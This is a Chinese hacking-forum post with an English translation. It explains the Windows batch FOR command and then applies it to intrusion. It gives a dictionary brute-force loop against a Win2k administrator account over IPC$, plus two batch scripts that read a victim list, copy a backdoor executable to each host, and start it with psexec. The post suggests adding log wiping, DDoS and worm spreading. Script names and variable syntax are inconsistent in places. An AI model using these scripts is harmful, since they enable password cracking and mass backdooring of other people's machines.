『楼 主』:
for 命令是一个比较复杂的命令
使用 LLM 解释/回答一下
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,这样就ok了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
The FOR command is a relatively complex command, mainly used to execute commands in a loop within a specified range of parameters.
When using the FOR command in a batch file, specify the variable using %%variable
for {%variable│%%variable} in (set) do command
%variable specifies a single - letter replaceable parameter.
(set) specifies one or a group of files. Wildcards can be used.
command specifies the command to be executed for each file.
command - parameters specify parameters or command line switches for a specific command.
When using the FOR command in a batch file, specify the variable using %%variable
and not %variable. Variable names are case - sensitive, so %i is different from %I
If command extensions are enabled, the following additional FOR command formats are supported:
FOR /D %variable IN (set) DO command
If wildcards are included in the set, it specifies to match directory names instead of file names.
FOR /R path] %variable IN (set) DO command
Check the directory tree rooted at path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.), enumerate the directory tree.
FOR /L %variable IN (start,step,end) DO command
This set represents a sequence of numbers from start to end in increments.
Therefore, (1,1,5) will generate the sequence 1 2 3 4 5, and (5,-1,1) will generate the sequence (5 4 3 2 1).
FOR /F %variable IN (file - set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
Or, if the usebackq option is present:
FOR /F %variable IN (file - set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
filenameset is one or more file names. Before continuing to the next file in filenameset, each file has been opened, read, and processed. Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the For loop is called with the found symbol string variable value. By default, /F separates through the first blank symbol in each line of each file. Blank lines are skipped. You can substitute the default parsing operation by specifying the optional "options" parameter. This quoted string includes one or more keywords specifying different parsing options. These keywords are:
eol = c - refers to the end of a line comment character (just one)
skip = n - refers to the number of lines to be ignored at the beginning of the file.
delims = xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.
tokens = x,y,m - n - refers to which symbols of each line are passed to the for itself in each iteration. This results in the format of additional variable names as a range. By specifying the last character asterisk in the m symbol string through the nth symbol, the additional variable will be assigned and accept the remaining text of the line after the last symbol is parsed.
usebackq - specifies that the new syntax has been used in the following cases:
When executing a back - quoted string as a command and the quote character is a literal string command and allows double quotes to enclose file names in fi.
sample1:
FOR /F "eol =; tokens = 2,3* delims =, " %i in (myfile.txt) do command will analyze each line in myfile.txt, ignore those lines starting with a semicolon, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, refers to %j to get the third symbol, and refers to %k to get all remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. To use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be analyzed.
%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens = option. You can specify up to 26 symbols in one line through tokens =, as long as you do not try to explain a variable higher than the letter 'z' or 'Z'. Remember that FOR variables are single - letter, case - sensitive, and global;
Also, no more than 52 are in use at the same time.
You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes. In this way, the string will be treated as a single input line in a file.
Finally, you can use the FOR /F command to analyze the output of a command. The method is to turn the filenameset between parentheses into a back - quoted string. This string will be treated as a command line, passed to a sub CMD.EXE, and its output will be captured into memory and treated as a file for analysis. Therefore, the following example:
FOR /F "usebackq delims ==" %i IN (`set`) DO @echo %i
will enumerate the environment variable names in the current environment.
In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:
~I - removes any quotes ("), expands %I
%~fI - expands %I to a fully qualified path name
%~dI - expands %I to only a drive letter
%~pI - expands %I to only a path
%~nI - expands %I to only a file name
%~xI - expands %I to only a file extension
%~sI - the expanded path only contains short names
%~aI - expands %I to the file attributes of the file
%~tI - expands %I to the date/time of the file
%~zI - expands %I to the size of the file
%~$PATH:I - searches for directories listed in the path environment variable and expands %I to the first fully qualified name found. If the environment variable is not defined or the file is not found, this combination key will expand to an empty string. Multiple results can be obtained by combining modifiers:
%~dpI - expands %I to only a drive letter and path
%~nxI - expands %I to only a file name and extension
%~fsI - expands %I to a full path name with a short name only
%~dp$PATH:i - searches for directories listed in the path environment variable and expands %I to the first drive letter and path found.
%~ftzaI - expands %I to a DIR - like output line
In the above examples, %I and PATH can be replaced with other valid values. The %~ syntax ends with a valid FOR variable name. Choosing an uppercase variable name like %I is easy to read and avoids confusion with case - insensitive combination keys.
The above is the official MS help. Next, we give a few examples to specifically illustrate the use of the For command in intrusion.
sample2:
Use the For command to achieve brute - force password cracking on a target Win2k host.
We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host, and record the password when successful.
The main command is a single line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Use i% to represent the password of admin, and take the value of i% in dict.txt to connect with the net use command. Then pass the running result of the program to the find command - -
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt, and then it is ok.
sample3:
Have you ever had a large number of zombie computers waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a very happy thing will become very depressed:). The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.
There is also only one main command: (when using the FOR command in a batch file, specify the variable using %%variable)
@for /f "tokens = 1,2,3 delims = " %%i in (victim.txt) do start call door.bat %%i %%j %%k
The usage of tokens is shown in sample1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host where the backdoor is successfully planted, and echo it out, or echo it to a specified file.
delims = means that the content in vivtim.txt is separated by a space. I think you must understand what the content in this victim.txt is like when you see here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.
Code outline:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens = 1,2,3 delims = " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double - click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
This is just a prototype of an automatic backdoor planting batch. The two batch files and the backdoor program (Windrv32.exe) and PSexec.exe need to be placed in the same directory. The batch file content can be expanded. For example: add functions like clearing logs + DDOS, adding users regularly, and more deeply, it can have automatic propagation functions (worms). No more details are given here. Friends who are interested can study by themselves.
|